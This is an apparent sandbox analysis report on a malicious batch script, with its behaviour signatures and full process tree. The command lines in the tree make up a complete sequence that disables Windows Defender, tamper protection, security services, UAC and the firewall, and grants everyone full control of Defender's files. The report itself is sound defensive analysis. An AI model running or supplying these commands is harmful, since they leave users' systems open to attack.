Analysis

  • max time kernel
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    23/07/2026, 14:24

General

  • Target
    deepseek_batch_20260723_c2fba3.bat
  • Size 2KB
  • Sample260723-rqvplaek21
  • SHA256 a3f7791a226479f21bef6dd5863e8ec7e05cf34b8e63cbc70a012c4dbfd24078
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
  • Modifies firewall policy service 3 TTPs 2 IoCs
  • UAC bypass 3 TTPs 3 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Possible privilege escalation attempt 2 IoCs
  • Disables service(s) 3 TTPs
  • Modifies file permissions 1 TTPs 2 IoCs
  • Stops running service(s) 4 TTPs
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260723_c2fba3.bat"
    1⤵
    • Drops file in Program Files directory
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2424
    • C:\Windows\system32\PING.EXE
      ping -n 8 127.0.0.1
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:5708
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4528
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:5860
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$a=[DllImport('kernel32.dll')]::GetConsoleWindow();[DllImport('user32.dll')]::ShowWindow($a,0)"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3532
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        2⤵
        • Modifies Windows Defender DisableAntiSpyware settings
        PID:4496
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        PID:1176
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
        2⤵
        • Modifies Windows Defender TamperProtection settings
        PID:2252
      • C:\Windows\system32\sc.exe
        sc stop WinDefend
        2⤵
        • Launches sc.exe
        PID:3304
      • C:\Windows\system32\sc.exe
        sc config WinDefend start= disabled
        2⤵
        • Launches sc.exe
        PID:3908
      • C:\Windows\system32\sc.exe
        sc stop SecurityHealthService
        2⤵
        • Launches sc.exe
        PID:2760
      • C:\Windows\system32\sc.exe
        sc config SecurityHealthService start= disabled
        2⤵
        • Launches sc.exe
        PID:668
      • C:\Windows\system32\takeown.exe
        takeown /f "C:\ProgramData\Microsoft\Windows Defender\*" /r /d y
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1392
      • C:\Windows\system32\icacls.exe
        icacls "C:\ProgramData\Microsoft\Windows Defender\*" /grant Everyone:F /t
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3748
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
        2⤵
        • UAC bypass
        PID:2908
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
        2⤵
        • UAC bypass
        PID:2536
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f
        2⤵
        • UAC bypass
        PID:3396
      • C:\Windows\system32\netsh.exe
        netsh advfirewall set allprofiles state off
        2⤵
        • Modifies Windows Firewall
        • Event Triggered Execution: Netsh Helper DLL
        PID:1132
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
        2⤵
        • Modifies firewall policy service
        PID:4196

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          __PSScriptPolicyTest_wqpgoj00.oir.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wqpgoj00.oir.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/3532-0-0x0000019B3CE50000-0x0000019B3CE60000-memory.dmp

          memory/3532-1-0x0000019B3CE50000-0x0000019B3CE60000-memory.dmp

          memory/3532-7-0x0000019B58180000-0x0000019B581A2000-memory.dmp

          memory/3532-9-0x0000019B3CE50000-0x0000019B3CE60000-memory.dmp

          memory/3532-10-0x0000019B3CE50000-0x0000019B3CE60000-memory.dmp